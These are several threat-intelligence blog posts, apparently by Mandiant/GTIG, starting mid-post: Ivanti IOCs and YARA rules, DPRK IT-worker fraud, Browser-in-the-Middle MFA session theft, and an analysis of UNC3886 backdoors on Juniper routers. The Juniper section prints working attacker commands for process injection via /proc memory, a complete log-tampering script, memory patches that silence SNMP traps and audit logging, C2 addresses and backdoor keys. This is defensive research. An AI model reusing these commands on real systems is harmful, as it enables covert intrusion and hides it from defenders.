Mandiant recommends organizations immediately apply the available patch by upgrading Ivanti Connect Secure (ICS) appliances to version 22.7R2.6 or later to address CVE-2025-22457. Additionally organizations should use the external and internal Integrity Checker Tool (“ICT”) and contact Ivanti Support if suspicious activity is identified. To supplement this, defenders should actively monitor for core dumps related to the web process, investigate ICT statedump files, and conduct anomaly detection of client TLS certificates presented to the appliance.

Acknowledgements

We would like to thank Daniel Spicer and the rest of the team at Ivanti for their continued partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE, we would like to specifically thank Christopher Gardner and Dhanesh Kizhakkinan of FLARE for their support.

Indicators of Compromise

To assist the security community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Code Family

MD5

Filename

Description

TRAILBLAZE

4628a501088c31f53b5c9ddf6788e835

/tmp/.i

In-memory dropper

BRUSHFIRE

e5192258c27e712c7acf80303e68980b

/tmp/.r

Passive backdoor

SPAWNSNARE

6e01ef1367ea81994578526b3bd331d6

/bin/dsmain

Kernel extractor & encryptor

SPAWNWAVE

ce2b6a554ae46b5eb7d79ca5e7f440da

/lib/libdsupgrade.so

Implant utility

SPAWNSLOTH

10659b392e7f5b30b375b94cae4fdca0

/tmp/.liblogblock.so

Log tampering utility

YARA Rules rule M_APT_Installer_SPAWNANT_1 { meta: author = "Mandiant" description = "Detects SPAWNANT. SPAWNANT is an Installer targeting Ivanti devices. Its purpose is to persistently install other malware from the SPAWN family (SPAWNSNAIL, SPAWNMOLE) as well as drop additional webshells on the box." strings: $s1 = "dspkginstall" ascii fullword $s2 = "vsnprintf" ascii fullword $s3 = "bom_files" ascii fullword $s4 = "do-install" ascii $s5 = "ld.so.preload" ascii $s6 = "LD_PRELOAD" ascii $s7 = "scanner.py" ascii condition: uint32(0) == 0x464c457f and 5 of ($s*) } rule M_Utility_SPAWNSNARE_1 { meta: author = "Mandiant" description = "SPAWNSNARE is a utility written in C that targets Linux systems by extracting the uncompressed Linux kernel image into a file and encrypting it with AES." strings: $s1 = "\x00extract_vmlinux\x00" $s2 = "\x00encrypt_file\x00" $s3 = "\x00decrypt_file\x00" $s4 = "\x00lbb_main\x00" $s5 = "\x00busybox\x00" $s6 = "\x00/etc/busybox.conf\x00" condition: uint32(0) == 0x464c457f and all of them } rule M_APT_Utility_SPAWNSLOTH_2 { meta: author = "Mandiant" description = "Hunting rule to identify strings found in SPAWNSLOTH" strings: $dslog = "dslogserver" ascii fullword $hook1 = "g_do_syslog_servers_exist" ascii fullword $hook2 = "ZN5DSLog4File3addEPKci" ascii fullword $hook3 = "funchook" ascii fullword condition: uint32(0) == 0x464c457f and all of them }

Written by: Jamie Collier

Since our September 2024 report outlining the Democratic People's Republic of Korea (DPRK) IT worker threat, the scope and scale of their operations has continued to expand. These individuals pose as legitimate remote workers to infiltrate companies and generate revenue for the regime. This places organizations that hire DPRK IT workers at risk of espionage, data theft, and disruption.

In collaboration with partners, Google Threat Intelligence Group (GTIG) has identified an increase of active operations in Europe, confirming the threat's expansion beyond the United States. This growth is coupled with evolving tactics, such as intensified extortion campaigns and the move to conduct operations within corporate virtualized infrastructure. 

On The March: IT Workers Expand Globally with a Focus on Europe

DPRK IT workers' activity across multiple countries now establishes them as a global threat. While the United States remains a key target, over the past months, DPRK IT workers have encountered challenges in seeking and maintaining employment in the country. This is likely due to increased awareness of the threat through public reporting, United States Department of Justice indictments, and right-to-work verification challenges. These factors have instigated a global expansion of IT worker operations, with a notable focus on Europe.

Figure 1: List of countries impacted by DPRK IT workers

IT Worker Activity in Europe 

In late 2024, one DPRK IT worker operated at least 12 personas across Europe and the United States. The IT Worker actively sought employment with multiple organizations within Europe, particularly those within the defense industrial base and government sectors. This individual demonstrated a pattern of providing fabricated references, building a rapport with job recruiters, and using additional personas they controlled to vouch for their credibility.

Separately, additional investigations uncovered other IT worker personas seeking employment in Germany and Portugal, alongside login credentials for user accounts of European job websites and human capital management platforms.

GTIG has also observed a diverse portfolio of projects in the United Kingdom undertaken by DPRK IT workers. These projects included web development, bot development, content management system (CMS) development, and blockchain technology, indicating a broad range of technical expertise, spanning traditional web development to advanced blockchain and AI applications. 

Specific projects identified include:

• Development of a Nodexa token hosting plan platform using Next.js, React, CosmosSDK, and Golang, as well as the creation of a job marketplace using Next.js, Tailwind CSS, MongoDB, and Node.js. 

• Further blockchain-related projects involved Solana and Anchor/Rust smart contract development, and a blockchain job marketplace built using the MERN stack and Solana. 

• Contributions to existing websites by adding pages using Next.js and Tailwind CSS, 

• Development of an artificial intelligence (AI) web application leveraging Electron, Next.js, AI, and blockchain technologies. 

In their efforts to secure these positions, DPRK IT workers employed deceptive tactics, falsely claiming nationalities from a diverse set of countries, including Italy, Japan, Malaysia, Singapore, Ukraine, the United States, and Vietnam. The identities used were a combination of real and fabricated personas. 

IT workers in Europe were recruited through various online platforms, including Upwork, Telegram, and Freelancer. Payment for their services was facilitated through cryptocurrency, the TransferWise service, and Payoneer, highlighting the use of methods that obfuscate the origin and destination of funds.

Facilitators Support European Operations 

The facilitators used by IT workers to help them get jobs, defeat identity verification, and receive funds fraudulently have also been found in Europe. One incident involved a DPRK IT worker using facilitators located in both the United States and the United Kingdom. Notably, a corporate laptop, ostensibly intended for use in New York, was found to be operational in London, indicating a complex logistical chain. 

An investigation into infrastructure used by a suspected facilitator also highlighted heightened interest in Europe. Resources discovered contained fabricated personas, including resumes listing degrees from Belgrade University in Serbia and residences in Slovakia, as well as instructions for navigating European job sites. Additionally, contact information for a broker specializing in false passports was discovered, indicating a coordinated effort to acquire fraudulent identification documents. One document provided specific guidance on seeking employment in Serbia, including the use of a Serbian time zone during communications. 

Extortion Heating Up

Alongside global expansion, DPRK IT workers are also evolving their tactics. Based on data from multiple sources, GTIG assesses that since late October 2024, IT workers have increased the volume of extortion attempts and gone after larger organizations. 

In these incidents, recently fired IT workers threatened to release their former employers’ sensitive data or to provide it to a competitor. This data included proprietary data and source code for internal projects. 

The increase in extortion campaigns coincided with heightened United States law enforcement actions against DPRK IT workers, including disruptions and indictments. This suggests a potential link, where pressure on these workers may be driving them to adopt more aggressive measures to maintain their revenue stream. 

Previously, workers terminated from their places of employment might attempt to provide references for their other personas so that they could be rehired by the company. It is possible that the workers suspected they were terminated due to discovery of their true identities, which would preclude attempts to be rehired.

The Virtual Workspace: BYOD Brings IT Worker Risks 

To avoid distributing corporate laptops, some companies operate a bring your own device (BYOD) policy, allowing employees to access company systems through virtual machines. Unlike corporate laptops that can be monitored, personal devices operating under a BYOD policy may lack traditional security and logging tools, making it difficult to track activities and identify potential threats. This absence of conventional security measures means that typical evidence trails linked to IT workers, such as those derived from corporate laptop shipping addresses and endpoint software inventories, are unavailable. All of this increases the risk of undetected malicious activity.

GTIG believes that IT workers have identified BYOD environments as potentially ripe for their schemes, and in January 2025, IT workers are now conducting operations against their employers in these scenarios. 

Conclusion 

Global expansion, extortion tactics, and the use of virtualized infrastructure all highlight the adaptable strategies employed by DPRK IT workers. In response to heightened awareness of the threat within the United States, they've established a global ecosystem of fraudulent personas to enhance operational agility. Coupled with the discovery of facilitators in the UK, this suggests the rapid formation of a global infrastructure and support network that empowers their continued operations.

For detailed mitigation and detection strategies, please read our previous report on DPRK IT workers. For even more details, read our IT worker Transform post.

Written by: Truman Brown, Emily Astranova, Steven Karschnia, Jacob Paullus, Nick McClendon, Chris Higgins

Executive Summary

• The Rise of Browser in the Middle (BitM): BitM attacks offer a streamlined approach, allowing attackers to quickly compromise sessions across various web applications.

• MFA Remains Crucial, But Not Invulnerable: Multi-factor authentication (MFA) is a vital security measure, yet sophisticated social engineering tactics now effectively bypass it by targeting session tokens.

• Strong Defenses Are Imperative: To counter these threats, organizations must implement robust defenses, including hardware-based MFA, client certificates, and FIDO2.

Social Engineering and Multi-Factor Authentication

Social engineering campaigns pose a significant threat to organizations and businesses as they capitalize on human vulnerabilities by exploiting cognitive biases and weaknesses in security awareness. During a social engineering campaign, a red team operator typically targets a victim's username and password. A common mitigation used to address these threats are security measures like multi-factor authentication (MFA). 

MFA is a security measure that requires users to provide two or more methods of authentication when logging in to an account or accessing a protected resource. This makes it more difficult for unauthorized users to gain access to sensitive information even if they have obtained one of the factors, such as a password.

Red team operators have long targeted various methods of obtaining user session tokens with a high degree of success. Once a user has completed MFA and is successfully authenticated, the application typically stores a session token in the user's browser to maintain their authenticated state. Stealing this session token is the equivalent of stealing the authenticated session, meaning an adversary would no longer need to perform the MFA challenge. This makes session tokens a valuable target for adversaries and red team operators alike.

Techniques for Targeting Tokens

Red team operators can target these session tokens using a variety of tools and techniques. The most common tool is Evilginx2, a transparent proxy where a red team operator's server acts as an intermediary between the victim and the targeted service. Any HTTP requests made by the victim are captured by the phishing server and then forwarded directly to the intended website. However, before returning the responses to the victim, the server subtly modifies them by replacing any references to the legitimate domain with the phishing domain. This manipulation allows operators to not only capture the victim's login credentials from POST requests but also to extract session cookies (tokens) from the server's response headers after the victim has completed authentication and MFA prompts.

During a red team engagement, a consultant working within a constrained time frame is tasked with achieving a series of objectives that cover a broad spectrum, such as retrieving sensitive employee data (e.g., personally identifiable information [PII]) or even a complete takeover of the target's Active Directory infrastructure. The red team's mission is to simulate a real-world attack and evaluate the effectiveness of the client's security measures by exploiting vulnerabilities and employing various techniques to gain unauthorized access. It is rare for a consultant to deploy a transparent proxy targeting a custom application unique to a client due to the high degree of customization that can be involved during setup.

Transparent proxies require significant customization and configuration to work against a targeted application. This process can be time-consuming, complex, and error-prone, especially for a red team operator targeting multiple applications. Often the operator will have to fully understand the way the application handles sessions and authentication before being able to successfully target the application. Once an application has been fully reduced to a template that is usable with the chosen transparent proxy, red team operators will still need to keep the templates up to date introducing a large amount of overhead.

Dynamic Targeting with Browser in the Middle 

According to MITRE, Browser in the Middle (BitM) "uses the inherent functionalities of a web browser to convince the victim they are browsing normally under the assumption that the connection is secure. All the actions performed by the victim in the open window are actually performed on the machine of the adversary." In short, this attack is similar to a victim sitting in front of an attacker's computer and signing in for them; all of the data required to authenticate to the application is now under the attacker's control. 

BitM offers a number of advantages for red team operators when compared to traditional methods of stealing authenticated session tokens. A pivotal benefit of employing a BitM framework lies in its rapid targeting capability, allowing it to reach any website on the web in a matter of seconds and with minimal configuration. Once an application is targeted through a BitM tool or framework, the legitimate site is served through an attacker-controlled browser. This makes the distinction between a legitimate and a fake site exceptionally challenging for a victim. From the perspective of an adversary, BitM allows for a simple yet effective means of stealing sessions protected by MFA.

BitM Overview

Mandiant has developed an internal tool (Delusion) for performing BitM attacks, enabling an operator to target a specific application without possessing prior knowledge about the authentication protocols employed by the application.

Delusion includes a number of unique features that enable session-stealing attacks at scale:

• Support for storing and downloading Firefox browser profiles, making session stealing trivial, no cookie import required

• A monitor page where an operator can interact with a victim's session in real time

• The ability to scale containers and automatically add them to a load balancer for large-scale phishing campaigns

• Two modes of operation designed for either vishing or phishing (Manual and Automatic)

• Bookmarks to simplifying deploying against multiple websites

• Tagging for campaign management

• Session recording for reporting purposes

Delusion was inspired by the following blog posts and research papers. Development would not have been possible without their commitment to publishing and releasing research.

• https://mrd0x.com/bypass-2fa-using-novnc/

• https://link.springer.com/article/10.1007/s10207-021-00548-5

• https://fhlipzero.io/blogs/6_noVNC/noVNC.html 

Mandiant has chosen not to publish Delusion due to weaponization concerns. If you are interested in how your application or portal performs against BitM and other session-stealing threats, check out these open source projects:

• https://github.com/JoelGMSec/EvilnoVNC

• https://github.com/fkasler/cuddlephish

• https://github.com/kgretzky/evilginx2 

BitM Session Stealing in Action

BitM is well suited for targeting applications that allow for initial access to privileged networks or environments through Virtual Desktop Infrastructure (VDI). BitM makes deploying session-stealing infrastructure against any publicly exposed infrastructure very easy. Targeting a login portal is as simple as specifying the portal information and clicking "Deploy", as shown in Figure 1. Figure 2 shows the view of an operator during an engagement. An operator can view any actions taken on the phishing site in real time. Figure 3 shows the view of a victim authenticating through the phishing site. Figure 4 shows an example of a captured session; despite there being no cookies, the browser profile will still contain everything used by the application to maintain the authenticated state. Figure 5 shows the downloaded browser profile being opened and the session being resumed.

Figure 1: Deploying the victim container

Figure 2: Monitoring the victim container

Figure 3: Victim authenticating to app

Figure 4: Captured session and keylogger output

Figure 5: Using the captured Firefox session

Figure 6: Browser-in-the-Middle attack flow

Figure 6 shows a typical attack scenario where a victim is lured to a malicious website through a phone call, text message or email (1). Upon visiting the site given by the operator, the victim's connection is routed through a load balancer to an available proxied browser (2). The victim unknowingly interacts with the proxied browser, entering their credentials, including any MFA tokens (3). Once the attacker observes a successful login, the victim is disconnected from the proxied browser, and their session is compromised (4).

Defense Considerations

To defend against such attacks, organizations can adopt the following strategies. Requiring client certificates for authentication can deter BitM attacks, as these certificates are typically bound to specific devices and cannot be easily manipulated by attackers. Similarly, hardware-based MFA solutions like FIDO2 compatible security keys offer strong protection against BitM. Figure 7 depicts a typical FIDO2 authentication flow.

Figure 7: FIDO2 authentication flow

FIDO2 and/or certificate-based authentication halts an attack scenario, as shown in Figure 8. The attacker's browser is attempting to steal a session from the legitimate site. The attacker's site requests a page from the website it is trying to steal a session from. The website requires a FIDO2 key or certificate to authenticate, and the attacker's site does not have one. Although the attacker's site mirrors the legitimate site's screen so it can trick a possible victim into authenticating for them, the attacker does not have a key or certificate, thus they cannot proceed and the authentication fails. Furthermore, the FIDO2 protocol ensures the BitM cannot successfully replay the FIDO2 response from the real user, as the browser on the user's machine would ensure the responses are immutably tied to the request's origin (i.e., the attacker site cannot request a FIDO2 response to a different target website).

Figure 8: FIDO2 and certificate-based authentication with BitM

There are some caveats with the aforementioned scenario that are important to point out. Certificate-based authentication and FIDO2 security keys only protect sessions when the device they are hosted on is not compromised. It is possible to compromise sessions, and even phish sessions, that are protected with FIDO2 security keys and certificates if you are able to compromise the device they are connected to. This should underscore the importance of a layered security approach with all applications that host sensitive data or provide access to restricted networks.

Conclusion

The threat of BitM attacks emphasizes the importance of robust authentication and access-control mechanisms. By adopting a multi-layered defense strategy incorporating client certificates, hardware-based MFA solutions such as FIDO2-compatible security keys, and compensating controls, organizations can significantly enhance their resilience against these sophisticated threats. The integration of security keys into this defense strategy provides a particularly effective safeguard against session stealing, offering users a tangible and reliable way to protect their online identities and sensitive data.

Acknowledgements

A very special thanks to everyone who contributed to this project's early and continued development. This blog post was made possible by Chris King, Evan Peña, Jerry McClurg, and Jeff Hoffmann.

Written by: Lukasz Lamparski, Punsaen Boonyakarn, Shawn Chew, Frank Tse, Jakub Jozwiak, Mathew Potaczek, Logeswaran Nadarajan, Nick Harbour, Mustafa Nasser

Introduction

In mid 2024, Mandiant discovered threat actors deployed custom backdoors on Juniper Networks’ Junos OS routers. Mandiant attributed these backdoors to the China-nexus espionage group, UNC3886. Mandiant uncovered several TINYSHELL-based backdoors operating on Juniper Networks’ Junos OS routers. The backdoors had varying custom capabilities, including active and passive backdoor functions, as well as an embedded script that disables logging mechanisms on the target device.

Mandiant worked with Juniper Networks to investigate this activity and observed that the affected Juniper MX routers were running end-of-life hardware and software. Mandiant recommends that organizations upgrade their Juniper devices to the latest images released by Juniper Networks, which includes mitigations and updated signatures for the Juniper Malware Removal Tool (JMRT). Organizations should run the JMRT Quick Scan and Integrity Check after the upgrade. Juniper also released an advisory about this incident.

Mandiant has reported on similar custom malware ecosystems in 2022 and 2023 that UNC3886 deployed on virtualization technologies and network edge devices. This blog post showcases a development in UNC3886’s tactics, techniques and procedures (TTPs), and their focus on malware and capabilities that enable them to operate on network and edge devices, which typically lack security monitoring and detection solutions, such as endpoint detection and response (EDR) agents. 

Mandiant previously reported on UNC3886's emphasis on techniques to gather and use legitimate credentials to move laterally within a network, undetected. These objectives remained consistent but were pursued with the introduction of a new tool in 2024. Observations in this blog post strengthen our assessment that the actor’s focus is on maintaining long-term access to victim networks. UNC3886 continues to show a deep understanding of the underlying technology of the appliances being targeted.

At the time of writing, Mandiant has not identified any technical overlaps between activities detailed in this blog post and those publicly reported by other parties as Volt Typhoon or Salt Typhoon. 

Register for our upcoming webinar for a deeper dive into the activity described in this blog post.

Attribution

UNC3886 is a highly adept China-nexus cyber espionage group that has historically targeted network devices and virtualization technologies with zero-day exploits. UNC3886 interests seem to be focused mainly on defense, technology, and telecommunication organizations located in the US and Asia. The activity described in this blog post is the latest in a number of operations where UNC3886 has leveraged custom malware to target network devices. The malware deployed on Juniper Networks’ Junos OS routers demonstrates that UNC3886 has in-depth knowledge of advanced system internals. Furthermore, UNC3886 continues to prioritize stealth in its operations through the use of passive backdoors, together with log and forensics artifact tampering, indicating a focus on long-term persistence, while minimizing the risk of detection.

Junos OS

Juniper Networks Junos OS is a proprietary operating system that powers most Juniper routing, switching, and security devices. It is based on a modified FreeBSD operating system. Junos OS supports 2 different modes of operations:

• CLI mode: where standard Junos OS CLI commands can be issued

• Shell mode: a user with shell access privileges can access an underlying FreeBSD shell and issue standard FreeBSD commands.

Malware identified in this blog post primarily relies on access to the csh shell, but in some cases it is also aware of higher layers.

Veriexec

Junos OS incorporates a Verified Exec (veriexec) subsystem, which is a modified version of an original NetBSD Veriexec Subsystem. Veriexec is a kernel-based file integrity subsystem that protects the Junos OS operating system (OS) against unauthorized code including binaries, libraries, and scripts and activity that might compromise the integrity of the device. To run malware, the threat actor first needed to bypass veriexec protection.

Mandiant did not observe evidence indicating successful exploitation of veriexec bypass techniques already addressed by Juniper in supported software and hardware. However, aside from the process injection technique described later in this blog post, infection on the compromised EOL Juniper MX routers indicate that the threat actor successfully deployed executable backdoors. Mandiant identified the threat actor had root access to the impacted devices.

Circumventing Veriexec with Process Injection

Veriexec protection prevents unauthorized binaries from executing. This poses a challenge for threat actors, as disabling veriexec can trigger alerts. However, execution of untrusted code is still possible if it occurs within the context of a trusted process. Mandiant’s investigation revealed that UNC3886 was able to circumvent this protection by injecting malicious code into the memory of a legitimate process. This specific technique is now tracked as CVE-2025-21590, as detailed in Juniper Network’s security bulletin JSA93446.

To achieve this, UNC3886 first gained privileged access to a Juniper router from a terminal server used for managing network devices using legitimate credentials, and entered the FreeBSD shell from the Junos OS CLI. Within the shell environment, they used the “here document” feature to generate a Base64-encoded file named ldb.b64. This encoded file was then decoded using base64 to create a compressed archive named ldb.tar.gz, which was subsequently decompressed and extracted using the gunzip and tar utilities to extract malicious binaries.

Mandiant was unable to recover the full content of ldb.b64 or ldb.tar.gz on the compromised Juniper routers' file system. However, Mandiant successfully recovered three malicious payloads by performing analysis on the memory of a compromised router. The purpose of the payloads was as follows:

• loader.bin is a shellcode loader responsible for loading functions including exit, mmap, open, read, and close from a standard library libc.so.7, allocating memory, and loading and executing the final payload from payload.bin

• pc.bin contains a memory address 0x4012f0

• payload.bin was identified to be the Position Independent Code (PIC) version of the lmpad backdoor

Details of lmpad backdoor are covered in the Malware Analysis section.

Mandiant observed the threat actor inject malicious payloads into a newly spawned cat process. The actor created a named pipe called null using mkfifo and used cat to continuously read from it, effectively creating a hung process. This stage involved the following commands:

rm -rf null; mkfifo null; cat null & set pid=$! echo " $pid"

While the hung cat process was waiting for data from the null pipe, the threat actor leveraged dd to read binary data from the payload files and write it to specific memory locations inside the cat process.

dd if=loader.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x4012f0 dd if=pc.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x602820

The first dd command wrote the loader code from loader.bin at the virtual address 0x4012f0, which is the entrypoint of cat. The second dd command replaced data at 0x602820 with the content of pc.bin. Mandiant noted that 0x602820 is the global offset table entry for fclose, this memory location was overwritten with 0x4012f0, indicating that pc.bin contains the memory address where loader.bin was injected to.

The threat actor sent an empty string using echo to the null pipe. cat received an end-of-file signal after echo finished writing the data and attempted to close the file by executing fclose.

As the global offset table entry for fclose function was replaced with the entrypoint to the shellcode loader, cat executed the shellcode loader instead of the actual fclose function, and ultimately loaded the final payload from payload.bin in the same directory.

After payload.bin has been loaded, the threat actor removed the null file and the ldb directory, then terminated the current session. This left only the legitimate process running on the compromised router, now containing the malicious code. The following commands were used to achieve these actions:

sleep 1;echo -n>null;sleep 1;rm -rf null cd .. rm -rf ldb kill -9 $$

Mandiant’s investigation noted that this process injection is intended for executing the PIC version of the lmpad backdoor while veriexec is enabled and does not support execution of other backdoors identified on the file system of the compromised Juniper routers. 

Malware Overview

Mandiant’s investigation identified six distinct malware samples across multiple Juniper MX routers. Each sample is a modified version of a TINYSHELL backdoor, but with unique capabilities. All of these samples incorporate a core TINYSHELL backdoor functionality, but differ greatly when it comes to activation methods as well as additional, Junos OS specific features.

The following malware samples were identified:

1. appid - TINYSHELL-based active backdoor, mimicking a legitimate binary named appidd (Application Identification Daemon)

2. to - TINYSHELL-based active backdoor, mimicking a legitimate binary named top (Table of Processes)

3. irad - TINYSHELL-based passive backdoor, mimicking a legitimate binary named irsd (Interface Replication and Synchronization Daemon)

4. lmpad - TINYSHELL-based utility and passive backdoor, mimicking a legitimate binary named lmpd (Link Management Protocol Daemon)

5. jdosd - TINYSHELL-based passive backdoor, mimicking a legitimate binary named jddosd (Juniper DDOS protection Daemon)

6. oemd - TINYSHELL-based passive backdoor, mimicking a legitimate binary named oamd (Operation, Administration and Maintenance Daemon)

TINYSHELL

TINYSHELL is a publicly available lightweight backdoor written in C that communicates using a custom binary protocol. The standard set of TINYSHELL commands comprises of:

• Remote file upload

• Remote file download

• Establishing remote shell session

A basic TINYSHELL implementation for FreeBSD seems to be a foundation for heavily customized backdoors detailed as follows.

Malware Analysis appid — TINYSHELL-Based Active Backdoor

Sample one, named appid, is an active backdoor written in C. It is derived from the publicly available TINYSHELL source code with additional supported commands. It is an active backdoor that communicates to the following hardcoded command and control (C2) servers:

• TCP://129[.]126[.]109[.]50:22

• TCP://116[.]88[.]34[.]184:22

• TCP://223[.]25[.]78[.]136:22

• TCP://45[.]77[.]39[.]28:22

Mandiant believes these IPs are staging nodes of a GOBRAT ORB network, eventually leading to a single, backend Adversary Controlled Operations Server (“ACOS”).

This malware begins by communicating to a random C2 server from the list. The malware maintains two TCP sockets that will stay synchronized with the same C2 address. One socket is used for tasking requests and the other is for handling requests. The malware will rotate through the list of C2 servers until a successful connection is created and it will request a task using the first socket. After receiving a task from the C2, the malware then creates a second socket for handling this specific task. After the task is finished, the second socket is closed.

The malware encrypts all network traffic with AES using a hard-coded key. The following commands are supported by malware, consisting of standard TINYSHELL commands and added proxy and reconfiguration capabilities:

Number

Name

Description

Comment

1

tshd_get_file

Sends a file to the server

Standard TINYSHELL command

2

tshd_put_file

Downloads a file from the server

Standard TINYSHELL command

3

tshd_runshell

Launches an interactive /bin/sh shell session

Standard TINYSHELL command

4

tshd_setproxy

Establish a Socks proxy to a given IP+port number

Custom command

5

tshd_config

Change Configuration Menu

Custom command

The following is the list of configuration items that can be changed by the command number 5 (tshd_config) and their associated config menu numbers:

Number

Config Item

11

C2 IP Address 1

12

C2 IP Address 2

13

C2 IP Address 3

14

C2 IP Address 4

2

C2 Port Number

3

C2 Network Interface

4

Sleep Timeout

0

Exit Config Menu

to — TINYSHELL-Based Active Backdoor 

Sample two, named to, is the same as Sample 1 but with different hardcoded C2 servers:

• tcp://101[.]100[.]182[.]122:22

• tcp://118[.]189[.]188[.]122:22

• tcp://158[.]140[.]135[.]244:22

• tcp://8[.]222[.]225[.]8:22

irad — TINYSHELL-Based Passive Backdoor

Sample three, named irad, is a TINYSHELL-based passive backdoor written in C. It acts as a libpcap-based packet sniffer and receives commands by inspecting packets on the wire looking for a magic-string that activates its backdoor capabilities. Malware supports 2 modes of operation: active mode, in which it will connect to a provided C2 address, or a passive - listening mode.  In addition to 3 standard TINYSHELL commands, it implements 2 custom commands and a custom activation routine.

The malware uses libpcap library to capture all network packets on the host (interface specified in the eth environment variable) matching the BPF filter of icmp[4:2] == 0xaa56. It reads 16 bytes of data starting at offset 10 from the ICMP packet. The malware has insufficient bounds checking and could read past the end of a packet payload if a smaller than expected packet is encountered.

For any ICMP type code 8 (Echo request) packets, it reads the 16 bytes of data and decrypts it with a single byte XOR key 0x86. It then compares the decrypted data with a magic string uSarguuS62bKRA0J. If the string matches and the byte 8 of the ICMP packet matches ascii character 1 or 2, it then reads the target IP and TCP port number from the ICMP packet and establishes a TCP connection to the specified IP (active mode). It uses a custom AES and HMAC implementation to encrypt and authenticate the communication. It uses a hardcoded key string WZtOTig2m42gXB6U to derive session keys and a hardcoded authentication token 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D to authenticate a target.

After authenticating a connection to a target host it starts encrypted communication. If the response from the target host begins with the string ek63a21km7WSWkfk then it exits, otherwise it decodes the command number from the packet:

Command Number

Function

Comment

1

Upload a file to the remote host

Standard TINYSHELL command

2

Download a file from the remote host

Standard TINYSHELL command

3

Launch an interactive /bin/csh session

Standard TINYSHELL command

4

Does nothing

Custom command

5

Relay the current connection to a specified IP and Port

Custom command

If byte 8 of the ICMP packet is 0, the malware will spawn a listening server on TCP port 31234 (passive mode). The listening backdoor server supports the same set of 5 commands as listed in the previous table, and the same encryption and authentication protocol.

If the string 1spCq0BMbJwCoeZn is received, and the malware is currently operating as a listener and accepting connections on port 31234, then it will terminate the listening process.

lmpad — TINYSHELL-Based Utility and Passive Backdoor

Sample four, named lmpad is an utility and a passive backdoor written in C. In addition to standard TINYSHELL capabilities it can also launch an external script that can perform process injection into two legitimate Junos OS processes to inhibit logging. The main purpose of this malware is to disable all possible logging before the operator connects to the router to perform hands-on activities and then later restore the logs after the operator disconnects. 

The malware begins by attempting to receive a UDP packet on port 33615, where it receives an RC4 encrypted message and sends an acknowledgement message in response. The malware also checks the decrypted received payload against the following hex bytes, terminating the connection if it doesn't match.

26 e7 2b 3a 1c a2 16 2d 61 89 57 a9 cd 4c e7 3c

The RC4 encryption key used to decrypt received UDP messages is: 0b3330c0b41d1ae2.

After the initial check, the malware enters a listening mode, waiting for commands. In addition to standard TINYSHELL commands (command 2, 4 and 5) it also implements 5 other custom commands:

Command 0

This command inhibits logging in preparation of hands-on threat actor activity on the router. It begins by writing a compressed zip archive to the file /var/tmp/pfed_jdhcp6_trace.log. It then executes the following command line to decompress the archive, execute an embedded script with argument pre and clean up the script after execution:

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; sh /var/tmp/pfed_jdhcp6_trace.log.bak pre ; rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ; kill -9 $$

The following is the uncompressed script file:

pre_ssh() { #closelog cp /mfs/var/etc/syslog.conf /mfs/var/etc/syslog.conf0 sed -i '' 's/\/dev\/null #//g' /mfs/var/etc/syslog.conf0 sed -i '' 's/ / \/dev\/null #/g' /mfs/var/etc/syslog.conf ps -fcA |grep eventd | awk '{ print $1 }' | xargs kill -1 #last cp -r /var/log/utx.log /var/log/utx.log0 cp -r /var/log/wtmp /var/log/wtmp0 } post_ssh() { #relog cp /mfs/var/etc/syslog.conf0 /mfs/var/etc/syslog.conf rm -f /mfs/var/etc/syslog.conf0 ps -fcA | grep eventd | awk '{ print $1 }' | xargs kill -1 #relast cp -r /var/log/wtmp0 /var/log/wtmp cp -r /var/log/utx.log /var/log/utx.log0 rm -f /var/log/wtmp0 } backup() { #backconf rm -rf /var/rundb+ cp -r /var/rundb /var/rundb+ cp /var/db/commits /usr/lib/libjucomm.so.1 tar -cf /config/usage_db /config/juniper.conf.* tar -cf /var/db/config/usage_db /var/db/config/juniper.conf.* } restore() { #reconfig cp -r /var/rundb+/* /var/rundb cp /usr/lib/libjucomm.so.1 /var/db/commits tar -xf /config/usage_db -C / tar -xf /var/db/config/usage_db -C / rm -r /var/rundb+ rm -f /usr/lib/libjucomm.so.1 rm -f /config/usage_db rm -f /var/db/config/usage_db } if [ $1 = "pre" ]; then pre_ssh elif [ $1 = "post" ]; then post_ssh elif [ $1 = "backup" ]; then backup elif [ $1 = "restore" ]; then restore fi echo done exit 0

This script can execute 4 commands:

1. pre: backups syslog.conf as syslog.conf0, it also redirects all logging to /dev/null, sends HUP signal to eventd daemon responsible for logging and backs up last log and wtmp log. 

2. post: reverses changes done by pre_ssh, it restores original syslog.conf as well as last log and wtmp log, it removes backups and sends another HUP signal to eventd process. 

3. backup: it backups the current Juniper configuration database and commit logs and archives configuration files. 

4. restore: it restores previously backed up configuration database and config files and removes backups. 

After stopping logging with pre_ssh script, this command then reads the snmpd process PID from /var/run/snmpd.pid. It also reads 4 bytes of data from address 0x8601328 and writes it to the file /var/tmp/rts by using dd:

dd if=/proc/<pid>/mem of=/var/tmp/rts bs=1 count=4 iseek=0x8601328 2>/dev/null

It then changes this data to 0 and writes it to /var/tmp/rts and later back to snmpd process memory using the same dd technique:

dd of=/proc/<pid>/mem if=/var/tmp/rts bs=1 count=4 oseek=0x8601328 conv=notrunc 2>/dev/null

This patches the snmpd process memory at address  0x8601328. The patch sets a global variable named trap_configs to 0. trap_configs possibly points to a structure containing SNMP traps that are sent to the monitoring server. Effectively this stops SNMP traps from being triggered which is most likely done to stop SNMP traps from triggering when specific events stop being logged in syslog. 

The malware then repeats similar actions against the mgd (Juniper Management Daemon) process. It reads mgd process PID from /var/run/mgd.pid and using the same technique previously mentioned it reads 4 bytes from  mgd process memory at 0x84E90D8 . It compares these bytes to 57E58955 (which after swapping endianness, disassembles to: PUSH RBP; MOV EBP,ESP; PUSH RDI instructions which is a typical function prologue), and if they match, it patches them with following bytes: C3D08990. If we disassemble these bytes from a little endian order, we get NOP; MOV EAX,EDX; RET instructions.

This patch modifies the prologue of the function at 0x84E90D8 to NOP, MOV EAX,EDX, RET  effectively skipping the rest of the function. Based on the behavioral analysis, the goal of this patch is likely to stop auditd logging of MGD login, logout, cmd events.

